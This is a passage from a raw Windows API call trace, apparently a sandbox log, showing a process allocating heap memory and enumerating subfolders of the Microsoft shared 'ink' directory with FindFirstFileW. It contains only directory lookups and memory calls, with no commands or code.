shared\\ink\\cs-CZ\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9260 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e93a0 [0089.309] GetProcessHeap () returned 0xc00000 [0089.309] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.309] GetProcessHeap () returned 0xc00000 [0089.309] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.319] GetProcessHeap () returned 0xc00000 [0089.319] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.319] GetProcessHeap () returned 0xc00000 [0089.319] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8b60 [0089.320] GetProcessHeap () returned 0xc00000 [0089.320] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.320] GetProcessHeap () returned 0xc00000 [0089.320] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8920 [0089.321] GetProcessHeap () returned 0xc00000 [0089.321] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.321] GetProcessHeap () returned 0xc00000 [0089.321] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.326] GetProcessHeap () returned 0xc00000 [0089.326] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.326] GetProcessHeap () returned 0xc00000 [0089.326] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.538] GetProcessHeap () returned 0xc00000 [0091.538] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.538] GetProcessHeap () returned 0xc00000 [0091.538] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.539] GetProcessHeap () returned 0xc00000 [0091.539] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.539] GetProcessHeap () returned 0xc00000 [0091.539] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.540] GetProcessHeap () returned 0xc00000 [0091.540] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.540] GetProcessHeap () returned 0xc00000 [0091.540] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.540] GetProcessHeap () returned 0xc00000 [0091.540] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.540] GetProcessHeap () returned 0xc00000 [0091.540] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.547] GetProcessHeap () returned 0xc00000 [0091.547] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.547] GetProcessHeap () returned 0xc00000 [0091.547] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8c20 [0091.548] GetProcessHeap () returned 0xc00000 [0091.548] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.548] GetProcessHeap () returned 0xc00000 [0091.548] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8a20 [0091.551] GetProcessHeap () returned 0xc00000 [0091.551] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8aa0 [0091.552] GetProcessHeap () returned 0xc00000 [0091.552] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.552] GetProcessHeap () returned 0xc00000 [0091.552] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8d60 [0091.553] GetProcessHeap () returned 0xc00000 [0091.553] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.553] GetProcessHeap () returned 0xc00000 [0091.553] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e90a0 [0091.554] GetProcessHeap () returned 0xc00000 [0091.554] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.554] GetProcessHeap () returned 0xc00000 [0091.554] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8da0 [0091.564] GetProcessHeap () returned 0xc00000 [0091.564] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.564] GetProcessHeap () returned 0xc00000 [0091.564] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8e20 [0091.564] GetProcessHeap () returned 0xc00000 [0091.564] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.565] GetProcessHeap () returned 0xc00000 [0091.565] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e90a0 [0091.570] GetProcessHeap () returned 0xc00000 [0091.570] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.570] GetProcessHeap () returned 0xc00000 [0091.571] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8fa0 [0091.571] GetProcessHeap () returned 0xc00000 [0091.571] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.571] GetProcessHeap () returned 0xc00000 [0091.571] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e89e0 [0091.572] GetProcessHeap () returned 0xc00000 [0091.572] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.572] GetProcessHeap () returned 0xc00000 [0091.572] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e89e0 [0091.573] GetProcessHeap () returned 0xc00000 [0091.573] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.573] GetProcessHeap () returned 0xc00000 [0091.573] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0091.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9060 [0091.598] GetProcessHeap () returned 0xc00000 [0091.598] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0091.598] GetProcessHeap () returned 0xc00000 [0091.598] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.600] GetProcessHeap () returned 0xc00000 [0091.600] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.601] GetProcessHeap () returned 0xc00000 [0091.601] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.601] GetProcessHeap () returned 0xc00000 [0091.601] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.601] GetProcessHeap () returned 0xc00000 [0091.601] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.602] GetProcessHeap () returned 0xc00000 [0091.602] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.602] GetProcessHeap () returned 0xc00000 [0091.602] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.602] GetProcessHeap () returned 0xc00000 [0091.602] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.602] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.602] GetProcessHeap () returned 0xc00000 [0091.602] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.603] GetProcessHeap () returned 0xc00000 [0091.603] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.603] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.606] GetProcessHeap () returned 0xc00000 [0091.606] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.606] GetProcessHeap () returned 0xc00000 [0091.606] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, 